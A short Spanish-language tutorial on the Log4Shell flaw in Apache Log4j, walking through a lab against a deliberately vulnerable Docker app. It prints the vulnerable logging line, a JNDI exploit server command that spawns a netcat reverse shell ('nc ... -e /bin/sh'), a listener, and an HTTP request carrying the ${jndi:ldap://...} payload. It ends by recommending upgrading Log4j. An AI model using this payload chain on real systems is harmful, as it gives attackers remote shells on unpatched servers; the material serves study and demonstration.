log4shell es una falla en Apache Log4j que permite que atacantes puedan ejecutar comandos maliciosos desde servidores LDAP maliciosos, esta vulnerabilidad en sus principios fue un 0 day y debido a que log4j se encuentra en muchas aplicaciones como minecraft, Struts2, Flink entre otros su impacto ha sido muy grande.
Como Funciona?
Para esta vulnerabilidad en forma de prueba de concepto existe en github una aplicaci贸n vulnerable https://github.com/christophetd/log4shell-vulnerable-app
git clone https://github.com/christophetd/log4shell-vulnerable-app.git
docker run --name vulnerable-log4 -p 8081:8080 ghcr.io/christophetd/log4shell-vulnerable-app
una vez descargado vamos analizar el c贸digo para ver en qu茅 forma puede ser vulnerable
La parte que nos interesa es:
@GetMapping("/")
public String index(@RequestHeader("X-Api-Version") String apiVersion) {
logger.info("Received a request for API version " + apiVersion);
return "Hello, world!";
}
Y en especial esta ya que es la parte vulnerable :
logger.info("Received a request for API version " + apiVersion);
despu茅s vamos a necesitar un servidor LDAP que nos permita ejecutar los comandos https://github.com/welk1n/JNDI-Injection-Exploit
java -jar JNDI-Injection-1.0-SNAPSHOT-all.jar -C "nc 172.17.0.1 4444 -e /bin/sh"
nc -lvp 4444
Solo hacemos un http request con el header X-Api-Version y con la direcci贸n que nos proporcion贸 JNDI Injection
GET / HTTP/1.1
Host: 192.168.1.141:8081
X-Api-Version: ${jndi:ldap://172.17.0.1:1389/zlrpms}
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
debido a que la vulnerabilidad ya se encuentra arreglada en las nuevas versiones de Log4j solo queda actualizar